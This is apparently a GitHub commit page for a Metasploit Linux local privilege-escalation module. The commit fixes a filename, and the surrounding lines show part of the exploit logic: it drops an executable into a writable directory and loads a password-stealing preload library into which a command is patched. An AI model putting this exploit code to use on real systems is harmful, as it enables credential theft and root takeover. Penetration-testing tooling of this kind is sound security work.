Skip to content

Commit b967336

Browse files
committed
Small bugfix (incorrect filename in data directory)
1 parent fc6f500 commit b967336

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/local/desktop_linux_privilege_escalation.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -85,9 +85,9 @@ def exploit
8585
cmd_exec "chmod +x #{exe_file}"
8686
lib_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.so"
8787
if target['Arch'] == ARCH_X86
88-
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_grabber_preload32.so")
88+
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_stealer_preload32.so")
8989
elsif target['Arch'] == ARCH_X86_64
90-
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_grabber_preload64.so")
90+
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_stealer_preload64.so")
9191
end
9292
lib_data = File.read(lib_path)
9393
lib_data["COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________"] = exe_file + (" " * ("COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________".length-exe_file.length))

0 commit comments

Comments
 (0)